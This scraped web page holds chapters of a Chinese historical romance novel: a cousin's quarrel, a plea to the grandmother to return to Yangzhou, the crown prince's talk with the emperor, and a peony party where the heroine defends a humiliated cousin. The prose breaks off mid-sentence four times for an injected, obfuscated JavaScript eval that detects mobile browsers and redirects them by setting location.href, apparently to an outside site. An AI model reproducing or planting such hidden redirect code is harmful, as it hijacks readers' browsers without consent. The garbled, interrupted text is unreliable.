正庭当中，站着一个锦衣少爷，已有十九岁，生得浓眉大眼。 此刻，正气呼呼地来回踱步。 旁边桌上，还搁着一盏摔碎了的茶盅。 丫鬟们缩着手，谁也不敢去收拾。 荷香屈膝行礼：“见过大舅母、大姐姐，大表哥。” 薛珏闻声，浑身毫不掩饰的敌意，冷笑一声：“哟，这不是五妹妹吗？在寺里头打扮得花枝招展地往太子跟前凑，怎么这会子倒穿得这样素净了？” 荷香直直回视：“大表哥这话，我不明白。” “你不明白？” 薛珏往前走了两步。 他比荷香高出大半个头，居高临下地睨着她。 “我姐姐与殿下的情分，是打小就定下的。你一个外姓的表小姐，不好好待在自己院子里，偏要跟着去普度寺。去就去了，还打扮成那样……你是去上香，还是去相看？” 自己这儿子，一字一句，说得好是难听。 可大太太在座上，一言不发，而薛玉宜低着头绞帕子。 没有一个开口替她圆场。 看来，这注定是要让荷香认错，给薛玉宜好好赔罪道歉了。 荷香抬眼，眸子里没有半分惊慌，只是安安静静地望着薛珏。 “大表哥说完了吗。” 薛珏一愣。 “若说完了，便容做表妹妹的，回几句。”荷香站得端端正正，字音清楚脆耳，“第一，普度寺祈福是祖母恩准的，大姐姐亲自邀我同去。大表哥若觉得不妥，不妨先去问问祖母。” “第二，那身黛粉衣裳是祖母赏的云锦裁的，大表哥要是觉得不合规矩，也不妨先去问问祖母。” “第三——”荷香没觉得有什么不好意思的，“殿下是去看大姐姐的，路过偏院顺口问了我两句。大表哥要是不信，可以亲自去问殿下。” 多年的东宫冷视，没有人会比荷香更懂得，邬晏有多爱薛玉宜。 至于她和太子？ 不过是他人乱点鸳鸯谱，毁了一桩婚。 暖阁里安静下来，薛珏被噎得说不出话来，脸涨得通红。 他说不过她，便更恼了，猛地一拍桌子：“你少拿祖母和殿下来压我！你就是个寄人篱下的——” “珏儿！” 此声刚落，满屋子的人齐刷刷站了起来。 老太太拄着紫檀木拐杖，由孙嬷嬷搀着，站在门口。 她显然是刚从正院赶过来的，头发松松挽了个髻，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550947|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些潦草。 可双眼一扫，满屋子大气不敢出。 “你在国子监读了这几年书，就学会了拍桌子？” 薛珏的气焰顿时矮了半截，躬身行礼：“祖母，孙儿不是那个意思。孙儿只是替姐姐——” “替你姐姐出头？”老太太拄着拐杖走进来，在正位上坐下，“你姐姐受了什么委屈，她自己不会说？要你在这里拍桌子砸碗！相府的规矩什么时候改了，改成了由着爷们在后宅里撒野？” 薛珏被训得抬不起头来。 大太太的脸色也难看了几分，起身道：“老太太，珏儿也是心疼宜姐儿，一时情急。” “一时情急就可以摔东西？就可以指着自家表妹的鼻子骂？”老太太看都不看自己的儿媳，目光落在薛珏身上，怒斥道，“还不给你五妹妹赔礼。” 话都到这份儿上了，薛珏硬是梗着脖子不肯动。 荷香走到祖母身边，有了主意。 “祖母，大表哥也是担心大姐姐，一时口不择言罢了。孙女没什么。” 老祖宗拍拍小姑娘的手，随即警告薛珏，语气愈加严厉：“还不快赔礼！” 薛珏咬着牙，朝荷香草草一拱手：“是我口不择言，五妹妹别往心里去。” 话是赔礼的话，语气却是憋着气的语气。 荷香侧身避了半礼，垂下眼帘：“大表哥言重了。” 老太太挥了挥手：“今晚的事到此为止。谁再翻出来，老婆子可不客气！都散了吧。” 众人依言散了。 临走前，薛珏狠狠剜了荷香一眼。 显然，表兄的火气还没消干净，只是碍着老太太的威风，不敢再发作。 大太太搀着老太太起身要走。 薛玉宜跟在后头，眉眼恹恹。 显然，大姐姐并无半点儿要解释的意思。 丫鬟们鱼贯而入收拾地上的碎瓷，烛火被穿堂风晃得明明暗暗。 荷香上前一步，蓦然在老太太跟前跪了下来！ 满屋子的人被这一举动，惊得挪不动脚。 老太太低头看着她，拐杖在地上一顿：“五丫头，你这是做什么？” “祖母，”荷香仰面含泪，叫人心疼，“孙女有一事，求祖母成全。” 烛光昏沉，把她的表情映得明明暗暗。 就连打扫的丫鬟婆子都屏住了呼吸，不敢有丝毫轻举妄动。 方才那一闹，是薛珏撒泼，老太太已经拍了板。 这事本该到此为止。 可此刻，荷香跪在地上，显然不是要继续纠缠那些口舌是非。 “孙女自从去年秋里病了一场，身子一直不大好。上京春日干燥，风沙又大，本就不适合调养。” 荷香咬唇，继续可怜巴巴说：“孙女想着，江南气候温润，水土养人。若是能在扬州老家住上一年半载，好好调养调养，也免得祖母日夜替孙女悬心。” 提及扬州，大太太的眼皮跳了一下。 “孙女知道祖母疼我。方才大表哥那番话，孙女并不觉着委屈。表兄说的，原本也是实话。荷香本就是寄居在府上的表亲，这些年，全仗祖母和大舅母的照拂才有片瓦遮身。” 孙嬷嬷想将荷香拉起来，却见小姑娘又叩拜下去，字字情真。 “正是因为感念祖母的恩情，孙女才不想拖着这幅病躯，在祖母跟前晃来晃去，让祖母看了揪心。” 瞧着快到手的家产又要跑的兆头，大太太终于开口了。 “五丫头这话，便是说得生分了。你是薛家的骨血，谁把你当外人了？” 9. 可否许江南 “珏儿那个浑小子嘴里没个门，回头我让他给你赔礼！姑娘家孤身回江南成什么话，传出去，外人还以为相府容不下一个表小姐。” “大舅母误会了。” 荷香乌发柔顺，神情恭切。 她说：“不是府里容不下荷香，是荷香想家了。娘亲的坟茔在扬州，六年无人祭扫。我常梦见，娘亲站在运河边朝北望，望穿了眼。这么多年已过，总该回去，给娘亲磕个头。” 说着，荷香又转向老太太，膝行两步，将脸颊轻轻贴在老太太膝上。 这个动作，是荷香十岁刚到相府时，头一回见老太太做的。 那时，小小的一个粉团儿，也是这样，把脸贴在老太太膝上，怯生生地叫了声—— “祖母。” “祖母，孙女今年十六了。娘亲当年也是十六岁嫁给父亲的。她生前常说，江南的春天比上京长，花也开得比上京自在。孙女想替娘亲回江南看一眼春花。” 荷香亲昵道：“只是看完了花，孙女还回来！孙女还想在祖母跟前尽孝，侍奉祖母到百岁千岁。只是……求祖母恩准孙女回去养一养身子，等养好了身子就回来，哪儿也不去，就在玲珑阁里陪着祖母。” 老太太静默在原地，烛台上的蜡泪一滴、一滴，堆成小丘。 薛玉宜站在母亲身后，哑然见荷香跪在地上的纤细身躯。 跪了这半天，淡青裙摆在地面上铺开一小片，好似一朵春雨如油般润湿、还倔强伶仃的花骨朵。 她方才那句不委屈，明明就是在说自己哪儿都委屈！ 可荷香说得那样坦荡，叫人挑不出半点错处。 母亲开尊口拦住这个表妹，她却一句句顶回去。 薛玉宜头一回觉得这个妹妹如此陌生。 老太太叹了口气：“你想回扬州养病？” “是。孙女只是回去养病。等身子好了，还回来侍奉祖母。”荷香答道。 “扬州老宅还有人吗？” 老太太表面上，隐隐有了要松口的模样。 “回禀老夫人。夫人当年的陪房还在管着旧宅子。前年她托人捎信来，说宅子拾掇得很齐整，院子里的枇杷树年年挂果，只等着小主子回去看看呢。” 莲心紧跟着跪下来，认真道。 老太太转了转腕上的松玉佛珠：“你一个姑娘家，路上总要有人照应。从京城到扬州水路上千里……” “孙女可以托镖局护送。更何况，父亲在扬州码头也有熟人，到了扬州便有人接应。” 老太太看着贴在膝上那张小小嫩嫩的脸。 这孩子，从十岁养到现在，从没有开口求过任何事。 衣裳给什么穿什么，住在最偏的院子也不抱怨。 就是还了薛姓，小姑娘心里在想什么，也从来不说。 今日跪在这里说这番话，大约是把六年的份都攒齐了。 方才，大房的顽劣小子骂她寄人篱下，她嘴上说不委屈，心里终究是记住了。 这府里，终究是没给荷香一个家。 “去是可以去。”老太太终于发了话，“但不是现在。选秀在即，各府都在走动，你这时候走，外头难免有闲话。等选秀的风头过了，祖母替你安排一条稳当的船，让你风风光光地回扬州。你看可好？” 荷香垂眼。 如今，已然进了一步，再奢望向前，便是得寸进尺。 思及此，她将脸在老太太膝上蹭了蹭，点点头，嘴边抿开一个甜笑。 “孙女听祖母的。等到那时候，孙女一定把身子养得结结实实的，早些回来侍奉祖母。” 老太太抬手摸了摸她的头发，叹了口气：“起来吧。地上凉，你身子本就不好，别跪坏了膝盖。” 荷香又磕了个头，才站起身来。 大太太的脸色说不出是松、还是紧。 今天这事传出去，满府的人都会知道五姑娘想回扬州。 薛玉宜走过来，揉捏几下荷香的手，便立刻扶着宝琴的手走了。 回到玲珑阁已是亥时。 莲心扶荷香坐下，声音忍不住发抖：“姑娘，您吓死奴婢了！奴还以为，老夫人会发火呢。您怎的就这样，冷不丁儿跪下了？” 姑娘分明在寺里还好好的，哪里就病成那样了。 荷香轻轻弯了弯唇角。 这一跪，虽情急，但并非一时冲动。 这么多年，她早就算准了祖母这吃软不吃硬的脾气。 更何况，祖母刚训斥过薛珏，满屋子人都觉得她理亏。 荷香越是退让，老太太就越要给她一个说法。 她原本就没指望老太太当场应允。 至少从今天起，相府里不会有人再拿回江南的事来编排她。 …… 从普度寺回宫的路上，太后銮驾在前，邬晏策马随行在侧，辘辘车轮碾过官道，扬起细细尘土。 二人隔着一道纱帘，各自无话。 太后径直回了慈宁宫，临走前，只撂下一句：“你父皇今日在御书房。朝中那几件搁置的折子，你心里有数。” 邬晏恭声应是，目送仪仗远去，才往御书房走。 御书房在东六宫之侧，殿宇陈设简素。 大临的江山是邬君雪一手打下来的。 开国之际，四方边患未平，朝中世家盘根错节。 他不信任任何人，包括他名义上的养子邬晏。 内侍在门口通传，邬晏整了整衣冠，迈步进去。 御案后头坐着一个男人。 玄色暗纹，领口严丝合缝地扣到喉结，袖口收束，露出一截瘦而有力的手腕。 他正低头看折子，闻声，满殿烛火都暗了一暗。 邬君雪。 大临的开国君主。 十三岁从军，十七岁领兵，二十岁平定北境，二十六岁攻破前朝旧都，十年间横扫六合。 朝中贵女和莽民皆言，历朝帝王若论容貌气度，无人能出邬君雪其右。 可没人敢当面多看他一眼。 他是先帝的嫡长子，从出生起就被当作储君培养。 可他不屑坐等皇位落到自己头上，偏要从军，偏要打仗。 十年前天下大乱，先帝困守京城，是他率五千骑兵在风雪夜突袭敌营，一把火烧了敌军粮草。 二十岁那年，已是北境统帅，麾下将士唤他—— 阎王刀。 “儿臣参见父皇。” 邬君雪放松向后，问：“普度寺静修一日，可有长进？” “回父皇，寺中清静，儿臣抄了两卷经文，略有体悟。” 邬君雪搁下朱笔，懒得多问。 密报早在太子走进这间御书房之前，就已经送到了案头。 “你皇祖母今日也去了。” “是。儿臣与皇祖母在寺中偶遇。” “偶遇，”邬君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550948|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪回眸，“薛家的姑娘也是偶遇？” 邬晏抿唇：“薛家大小姐与儿臣确有旧识。今日在寺中偶遇，不过寒暄了几句。” “薛相的女儿。你想娶她？” “薛家是望族。若能与薛家结亲，于朝局有益。”邬晏答。 邬君雪不置可否，起身走到这位养子面前。 他是习武之人，身姿笔挺如松，即便穿着常服也掩不住那肃杀之气。 “你皇祖母正在张罗选秀。秀女名册，朕已经看过了。满朝文武家的女儿都在上头，薛相的嫡长女也在。朕若将薛相的女儿指给你，等于从选秀名册上划掉一个相府的人。你觉得你皇祖母会答应？” 邬晏抬起头。 邬君雪走回御案前，拿起那份秀女名册。 “选秀是太后的意思，朕懒得管。朕要的只是朝局安稳。但……薛相的嫡长女你娶不得。” 他翻开名册：“换一个。” 邬晏跪在地上：“儿臣与薛大小姐相识三年——” “朕没有问你认识谁。” 邬晏想说的话卡在喉咙里。 在父皇面前，任何情感的筹码都不值一提。 邬君雪重权势，弃儿女情长，这其中，自然也包括他自己。 邬晏跪在那里。 想起很多年前，他刚到东宫不久，先帝还在世邬君雪从北境军中回来赴宴，甲胄未卸，满身风尘。 他端端正正地行礼，邬君雪看了他一眼，然后便直接越过他，走向了先帝。 那是唯一一次对方正眼看他。 后来先帝驾崩，邬君雪登基，再也没有看过他一眼。 毕竟，他出生宗室，若真要轮年龄行辈，两人合该以兄弟相称才是。 可事实上，在这东宫里待了这么多年。 邬晏最是清楚：父皇不打压他，是因为不屑。 在邬君雪眼里，他连对手都算不上。 可作为东宫太子，他不能永远不算！ 薛玉宜是一步棋。 娶了她，相府便站在他身后，朝中那些还在观望的世家也会倒向东宫。 邬君雪放下名册，开口道：“薛家不止一个姑娘在名册上。嫡长女之外，还有个表姑娘。你若要娶薛家女，便只能是她。” 邬晏的手指在袖中攥紧。 他当然知道荷香更合适。 可她的好拿捏，也是她的致命伤。 无权无势的太子妃，在东宫只有任人宰割的份。 更何况，昨日杏花树下，她眼里，没有他。 荷香，该唤他姐夫才是。 虽然这么想，邬晏心中还是莫名有些不舒服。 “儿臣的婚事，全凭父皇和皇祖母做主。”他叩首下去，仍想争论，“只是薛大小姐与儿臣相识在先，情分非旁人可比。若要娶薛家女，儿臣只愿娶薛玉宜！” “……” “你倒是个长情的。”邬君雪收回目光，重新拿起朱笔，“下去吧。” 男人没说好，也没说不好。 帝主在上，君心难测。 邬晏叩首，退了出去。 走出御书房时，暮色正从宫墙那头压过来。 他站在廊下，初春的风拂过面颊，凉浸浸的。 邬晏伸手触上脸颊，那里已是湿漉漉一片。 奇怪…… 明明有机会娶上薛玉宜，为什么，会觉得自己会后悔呢？ 10. 魏紫 春尽絮飞留不得，芳菲旧日，似大梦初见。 旬余已过。 裴家送帖子的骑了匹青骡，从东城横穿到永宁巷，把一张洒金笺递进门房手里。 只见笺上印着裴家的私章，门房便扯嗓子，喊了个跑腿的小丫头，叫她送往老太太正院里去。 洒金笺拆开，是裴夫人亲笔题的字。 簪花小楷，写得很客气，说春日将尽，园中魏紫开得正好，请相府各位姑娘赏花吃茶。 末尾漫不经心添了句： 学宫几位公子也在，都是年轻人，正好结识结识，也算不辜负这好春光了。 老太太把帖子搁在膝头上，盘弄腕上的松玉佛珠，不知是贬还是夸，道。 “我这本家的姑娘，把帖子下得真是巧。眼瞧着选秀的日子临近，她倒有心思办花会。” 闻言，三太太王氏歪在美人榻上，笑说：“裴夫人素来爱热闹。横竖裴家无女，办花会不请姑娘们，难道请一群爷们赏花？不过我听说，这回学宫来的人不少，国子监祭酒家的公子也在。” 三房一边说，一边斜眼睨着对面坐着的周氏。 果不其然，她这么一说，二太太都坐直了些。 薛玉柔的亲事还没着落。 那姑娘也是个蠢的，自打海棠宴一见，满上京追着那花心肠子的裴子年跑，惹了不少外人看相府的笑话。 这些日子，周氏为此急得很！ 老太太看了三太太一眼，又看了看坐在末席的荷香。 荷香请了安，无所事事，正低头理着膝上搭的披帛，仿佛满屋子的话都跟她没关系。 “去吧。”老太太把帖子递给孙嬷嬷，“各房姑娘都去。五丫头也去，别总闷在玲珑阁里。” 荷香站起来应了声是。 说话调子间温温吞吞，自有一股江南的缓音。 裴夫人海棠宴上过继的算盘落了空，可上京门阀，最不缺的就是耐心。 选秀在即，裴家无女，只能借旁人的女儿做棋子。 不过，裴家向来是举办宴会的熟客。 届时，人多眼杂，总不可能将所有心思都放在她一个相府五姑娘身上。 …… 去裴家那日是个晴好天。 薛玉柔早早起来梳妆，喜珠捧着首饰匣子跪在地上，就连挑步摇，也足足挑了有两盏茶的功夫。 穿着倒是一如既往的桃红衫子配鹅黄裙子，鬓边簪了几簇小珍珠，水白盈透。 一双眼珠子从上了马车就没安分过，不停地往外瞟。 三房的婉、宁二女同乘一辆车，姐妹俩挽着手，低声随口说了句什么，都能捂嘴笑起来。 至于六姑娘薛玉安，她年纪尚小，留在府中花园放风筝玩儿。 相府的花园是上京城里数得着的，光是打造外轮廓，就费了不少心思。 从江南运了十八船太湖石回来，堆山叠石，引水造池。 池子弯弯绕绕地串起了大半个内宅，水面上架着三座石桥。 池边遍植垂柳，三月柳条正嫩，风一吹便拂在水面上，荡起一圈圈涟漪。 池中的锦鲤养了多年，条条都有尺把长，见人便聚过来，张着嘴等人投食。 山边种着一丛湘妃竹。 竹竿上的斑痕，曾相传是娥皇女英的泪。 老太太不喜欢这个典故。 说太苦了，让人换了两回，都换不掉。那竹子便是赖着长，根越扎越深。 …… 荷香最后一个出来。 莲心替她理了理领口褶皱，低声担忧说：“姑娘，今儿个裴家肯定热闹，您可当心些。” 荷香拍了拍她的手背，上了马车。 裴家的园子在东城，虽比不上相府的气派，却也收拾得极精巧。 一进门便是曲折游廊，廊下种着各色时令花草，芍药含苞，蔷薇打朵。 沿着游廊往里走，眼前豁然开朗。 一池碧水，水边叠着太湖石，石缝里种着迎春，枝条垂到水面上，黄花点点。 池中养着锦鲤，午后日头正好，鱼在浮萍底下懒懒地摆尾巴，偶尔浮上来吐个泡。 池岸旁一株老榆树，榆钱刚落了满地，被扫在树根底下堆成一小堆。 沿着池岸往里走，便是裴家引以为傲的牡丹圃。 圃里魏紫开了七八分，浓紫近墨，在日光下泛着丝绒样的微光。 花圃四周摆了一圈竹榻和几案，案上搁着时令鲜果和杏仁酪，还有几碟子裴家厨子拿手的藕粉桂花糕。 学宫的公子们已经到了几位，正站在牡丹圃前赏花。 他们手里捏着折扇，说说笑笑。 国子监祭酒家的周公子站在最前头，一柄玉骨折扇摇得哗哗响，正指着魏紫点评花品，惹得旁边几个公子失笑，频频点头。 作为东主，裴子序拿了碟糕点吃得满嘴碎屑。 裴子年靠在廊柱上，漫不经心，几乎是要在这儿睡了过去。 薛家的马车一到，裴夫人立刻亲自迎了出来。 她今日打扮得格外喜庆，颇有些老来俏的意思。 枣红褙子配金线绣的团花，笑起来眼睛眯成两道缝，亲亲热热地拉了薛玉宜的手。 “可算把你们盼来了。宜姐儿今日这身衣裳真好看，这步摇是宫里的手艺吧？” 薛玉宜笑道：“伯母眼力真好，的确是宫里的手艺。” 薛相在前朝极受重用，皇家的赏赐，自然是少不了的。 可这话，正好让旁边的周氏听见。女人撇撇嘴，心下冷笑。 荷香躲在大房身后，却还是让裴夫人瞧见了。 “五姑娘今儿怎么穿得这样素净。”裴夫人笑盈盈地打量她一眼，“到底是江南来的，生得白，穿什么都好看。” 荷香屈膝行礼，道了声裴夫人过奖，便又退回了女眷里面。 裴夫人也没再多说，引众人往花圃走。 荷香落在后面，缓了口气，捡了个靠池边的角落正要坐下，忽然听见一个懒洋洋的声音从廊柱后头传来。 “五姑娘。” 裴子年靠在廊柱上，折扇半开，遮着半张脸，只露出一双似笑非笑的眼睛。 他今日穿的是宝蓝长衫，面皮白净，嘴唇上翘，风流无端。 海棠宴后，荷香就没怎么见过他。 今日一见，他的态度倒比那天夜里收敛了些。 “裴二公子。”荷香不看他，道。 裴子年将折扇啪地一收，往她这边走来。 荷香下意识往后缩了一步，却听眼前人说：“上回海棠宴后，五姑娘走得急。我还没来得及跟五姑娘道个歉。” “裴二公子言重了。海棠宴上什么事也没有，哪来的歉。” 荷香故作无知，说。 裴子年望着那张恭顺乖巧的脸，继续向前。 这一步近了，近乎能嗅到少女发间淡淡的茉莉香。 “倒也不是什么事都没有。”他说，“我只为一事。” 荷香心头一紧。 “敢问裴二公子，何事？” “薛荷香，别做我的妹妹。”裴子年似乎直来直往惯了。 “你我不仅无婚事，亦无心上人。不如，让我娘亲点了这鸳鸯谱，做一对恩爱夫妻，赌书泼茶，松萝共倚？” 话里话外，无非是想让荷香，做他的妻。 只是，海棠宴那晚，他喝了酒，说话轻佻，她只当他醉了。 可而今青天白日，裴二一滴酒没沾，还这样说。 “裴二公子说笑了。”荷香侧过身。 裴子年不紧不慢地又跟了一步：“五姑娘，我裴子年虽不如太子殿下那般权势滔天，可我待女孩子的心，比殿下真。” 他压低声线，只叫少女一人能听见。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550949|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 荷香正想开口告辞，花圃那头，倒是忽而笑声吟吟。 学宫的周公子不知说了什么，几个公子都跟着笑起来，还不时对女眷们的方向指指点点着。 裴子年被那笑声引开了注意，荷香趁机从他身侧绕过去，搬了个小杌子坐到榆树底下。 树枝在头顶密密地铺开一层绿荫，凉快，也敞亮。 少时，池懿从月洞门里走出来，身后跟着两个小厮。 男人腰束玉带，走起路来大步流星，带起一阵风，袍角翻卷。 腰侧佩着一把短刀，刀鞘粗劣，磨得却光亮，和他这身鲜亮的衣裳不甚相配。 身后那两个小厮一人抱一坛酒，累得喘气，他却两手空空。 池懿不像旁的公子哥，那般在意仪态，走得有点懒散，肩膀微微晃着，可脊背始终是直的。 迎面遇上裴子年，脚步一顿，往对方肩上拍了一记。 “裴二哥，你这园子倒是好找。门口那条巷子窄得很，马车差点拐不进来。” 裴子年被他拍得肩膀一歪，也不恼，笑嘻嘻地捶回去：“就你话多。我娘说了，今日这酒是从扈苏运来的二十年陈酿，你要是再嫌我裴府窄，一滴都不给你留。” 池懿一笑，眉目舒展开来。 方才进门时，脸上那股子嫌弃的不耐烦，被这句话逗得无影无踪。 年轻公子不笑时清清冷冷，笑起来眉眼弯弯，竟有几分孩子气。 他绕过花圃，随意扫了一眼那丛魏紫，又看了看学宫公子们那边的热闹。 但很快，便消失在了众人视线里。 荷香在榆树底下坐了不过一盏茶的功夫，裴子年便又踱了过来。 这一回，他没有靠近。 孤身一人站在榆树影子的边缘，折扇半开，有一搭没一搭地摇。 “五姑娘好坐性。满园子人都围着牡丹转，就你守着这棵榆树。这榆树有什么好？榆钱都落尽了，光秃秃的。” 荷香枕着脑袋，慢吞吞地说：“榆树遮阴，比花圃凉快。裴二公子若是喜欢牡丹，只管去赏，不必管我。” 裴子年望着她，笑意漫到眼里，快要溢出来。 或许，他欢喜的，就是这样式儿的姑娘。 都说爱能让人一掷千金。 但细细想来，不过是对方长在了自个儿审美点上，还给了那微末的心动吧。 裴子年说：“牡丹年年有，不急着看。” 说完这话，少年没有再纠缠，折扇一收，转身往花厅去了。 远处，薛玉柔正站在牡丹圃前。 团扇遮了少女半张脸，一双眼睛却从扇骨上缘直直地望过来。 她看清了裴子年方才走过来的方向，亦看清了他走时，嘴角未尽的笑。 霎然间，薛玉柔心里连日来绷得极细的弦，怦然一颤。 又是荷香。 海棠宴上，裴夫人满心要过继的是荷香。牡丹圃前，裴子年丢下满园宾客，专程去说话的，也是荷香。 至于她，簪了新裁的小珍珠，戴着最时兴的鬓边花，可少年连她的裙角都没瞧过一眼。 薛玉柔自嘲地喃喃一句。 旁边的裴子序闻声，顺着她的目光望过去，先看了看荷香，又回头看了看这位相府的四姑娘。 裴大这个人，没什么大毛病。 就是嘴碎，爱看热闹，吃饱喝足了，尤其管不住自己。 花厅里宴席还没散，学宫那些公子们，正愁没新乐子可找呢。 他在薛玉柔脸上转了转，又往花厅里周公子那桌瞟了瞟，马上有了主意。 “玉柔姑娘。”裴子序凑过来，笑得和和气气，“我瞧你方才一直盯着魏紫看，可是喜欢？喜欢就剪两枝带回去。我让丫鬟给你拿剪子来。” 薛玉柔正要推辞。 对上裴子序那张堆满笑容的脸，忽然又觉得，这是个好由头。 11. 唱曲儿 拿了花，便能在花圃前，多逗留一会儿，裴子年说不准还会回来。 她矜持地点了点头，跟着裴子序走到牡丹边儿上。 一个小丫鬟递了把银剪子过来，裴子序亲自弯腰，在圃中挑了一枝半开的魏紫剪下来，递到薛玉柔手上。 这枝魏紫开得极好，花瓣浓紫近黑。 只是金黄日光下，搁在薛玉柔桃红衫子的袖口上，倒衬得自身艳丽的桃红多了几分俗气。 裴子序拿着另一枝花，往学宫公子们那边走过去，随手递给周公子，压低声音说了两句话。 周公子先是一愣，随即拿扇子挡了嘴闷笑起来。 旁边的几个公子听了，忍不住交头接耳，脸上浮起一种心照不宣的暧昧笑意。 紧接着，周公子站起来，端着酒杯朝薛玉柔的方向点点头：“久闻薛四姑娘精通音律，不知今日能否赏光，为魏紫唱一曲？” 薛玉柔没有注意裴子序和周公子的种种手脚。 闻此一言，还以为是自己的美貌与才识，总算是引起了注意，不由得挺直了脊背。 见这番情状，学宫的公子们，有几个低下头忍着笑，肩膀一耸一耸的。 周公子敬完酒坐下，旁边马上有人拍了他一下，两人凑在一起，不知在笑什么。 薛玉柔也不算傻到家了，立刻觉察出不对。 刹然间，她扭头去看裴子序。 此刻，裴大正站在廊下，若无其事地拿了一块桂花糕往嘴里送，腮帮子鼓鼓的，一点歉意也无。 少女一下子觉得手里的魏紫烫得吓人。 想扔掉，又不敢扔！ 她知道，那群公子哥们，是觉得相府千金这般，很是有趣。 一个相府庶女，被裴大公子当枪使了还不知道。 站在那儿等裴子年看她，人却连眼皮都没抬。 薛珏坐在公子们中间，端着酒盏，从头到尾，都没有站起来。 他姐姐是嫡长女，自然不会替一个二房庶出的姑娘出头。 哪怕这个姑娘，也流着薛家血。 薛玉宜坐在屏风后头，瞧着这一出戏，慢慢抿了一口茶，嘴角弧度莫名上升了些。 花心公子，与蠢货小姐，倒是般配。 当然，她不会替对方解围。 薛玉柔平日里就爱出风头，今日这风头，出得够大了。 恐怕，正合她四妹妹的意吧。 三房的薛玉婉和薛玉宁坐在薛玉宜旁边。 眼见薛玉柔脸红到快要把自个儿埋进地里头，薛玉婉看不下去了，正要站起来，薛玉宁迅速一把按住她的手腕。 “娘说了，不许出头。”薛玉宁细声细气，语气慌乱道，“你忘了出门前娘怎么说的？裴家的事不许掺和。你要是站出去，回了府，我和娘饶不了你！” 薛玉婉咬把唇咬红，又坐了回去。 她心底有愧，低着头不敢看薛玉柔，焦躁得让帕子在手里绞来绞去。 做相府的千金做到这个地步，薛荷香颇有些兔死狐悲的可笑感。 她歇够了，便慢悠悠从榆树底下走出来。 少女走到薛玉柔面前，将那枝揉烂的魏紫从手里抽出来，搁在石阶上。 旋即，转过身，将薛玉柔遮掩在身后，面向周公子，以及看戏的其他宾客。 “周公子。”少女言笑晏晏，眼底却极冷，道，“学宫是大临最高学府，国子监祭酒掌天下学政。祭酒家的公子在外赴宴，当着满园女眷的面，这般取笑一个闺阁小姐。不知祭酒大人在家，是不是也这样教公子的。” 漂亮的姑娘说着话，却让周公子笑容僵在脸上。 “还是说，”荷香的声音仍旧十分动听，字字分明，“学宫的功课太松了？公子们有这许多闲工夫，在裴家的园子里，指点旁人的姐妹。倒不如多回去读读书，省得将来朝堂上站不住脚，只知道在闺秀面前耍威风。” 满桌鸦雀无声。 几个学宫公子的脸一阵红一阵白，将求助的目光挪到周河脸上。 但与此同时，周公子的脸也跟着涨成了猪肝色。 他本就是祭酒唯一的子嗣，因着老来得子，不受管教，常年胡吃海喝，生得一副又胖又肿的模样。 被薛荷香拐着弯儿骂，一下子像极了年宴上被烫熟的猪头！ 薛珏放下酒盏，皱眉辩解：“五妹妹，你这话说得也太过无礼！” “薛公子。” 荷香陡然冷了音。 往日明媚的小狗眼看着薛珏，没有半分退让。 长睫直如鸦羽垂落，看上去很是冷淡。 薛珏被她这一声唤得傻了眼。 从前，荷香唤他表兄，今日，怎叫他薛公子？ “这里有外男欺负自家姐妹，你不替自家人说话，倒替外人叫屈。”荷香火气盈在胸襟间，骂道，“相府嫡子，在学宫读了这几年书，学问不知长了几分，倒学会了吃里扒外。” 话音刚落，薛珏的脸一下子涨得比周公子还红。 他张口想说什么，对上荷香那双眼睛，又顾忌祖母因此罚他，到底什么都没说出来。 于是，把酒盏往桌上一搁，气得起身拂袖而去。 荷香牵起薛玉柔的手，说：“四姐姐，花厅外头风大，我陪你去廊下坐坐。” 薛玉柔被她牵着走了两步，等到无人看见正脸时，便低下头，眼泪大颗、大颗砸在桃红衫子的前襟上。 她咬着嘴唇不肯出声，却把荷香的手攥得紧紧的，好似抓到了唯一的救命稻草。 池懿靠在廊柱上，从头看到尾。 他注视着，少女用软绵绵的江南调子，把满桌高高在上的男人驳得无话可说。 学宫的学子们，没有一个人敢接她的话。 池懿不认识周河，也没兴趣认识。 他只是遥望少女，其乌黑长发在日光下，泛着缎子样的光。 看她骂人时，字字温柔刀。 他突然想笑。 裴子年不知何时，踱步至右侧，顺着池懿视线望过去，啧啧道：“这五姑娘，今日可叫人刮目相看。周河那小子，脸都让她说绿了，薛珏也被呛跑了。平日里看着规规矩矩的，没想到嘴皮子这么利索！” 池懿看向他。 裴子年又往前凑了凑，折扇半开，遮着嘴低声道：“不过说真的，她生得当真是好。你瞧，看人时跟小鹿似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 